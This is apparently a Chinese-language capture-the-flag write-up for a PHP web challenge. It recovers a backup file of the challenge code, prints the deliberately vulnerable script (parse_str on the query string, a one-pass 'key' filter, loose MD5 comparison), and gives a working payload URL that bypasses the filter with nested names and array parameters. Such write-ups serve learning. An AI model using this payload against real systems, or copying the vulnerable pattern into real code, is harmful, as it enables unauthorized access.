题目描述:
http://120.24.86.145:8002/web16/
听说备份是个好习惯
1.提示是“备份是个好习惯”——>访问http://120.24.86.145:8002/web16/index.php.bak
2.得到文件后打开,发现php脚本:
1 <?php 2 include_once “flag.php”; 3 ini_set(“display_errors”, 0); 4 $str = strstr($_SERVER[‘REQUEST_URI’], ‘?’); 5 $str = substr($str,1); 6 $str = str_replace(‘key’,”,$str); 7 parse_str($str); 8 echo md5($key1); 9 10 echo md5($key2); 11 if(md5($key1) == md5($key2) && $key1 !== $key2){ 12 echo $flag.”取得flag”; 13 } 14 ?>
3.URL的键中的“key”字符串被替换威“”
且当$key1的MD5值与$key2的MD5值相等时输出flag
(这里也可以看出来最开始页面中的“d41d8cd98f00b204e9800998ecf8427ed41
d8cd98f00b204e9800998ecf8427e”是什么了,最开始$key1与$key2的值都是NU
LL,所以“d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ec
f8427e”就是两个NUll的MD5值的拼接)
4.利用kkeyey1 ,kkeyey2构造变量绕过php脚本的过滤
利用md5函数处理数组时总返回NULL的特性
构造payload:http://120.24.86.145:8002/web16/index.php?kkeyey1[]=a&kkeyey2[]=b
访问即可得到flag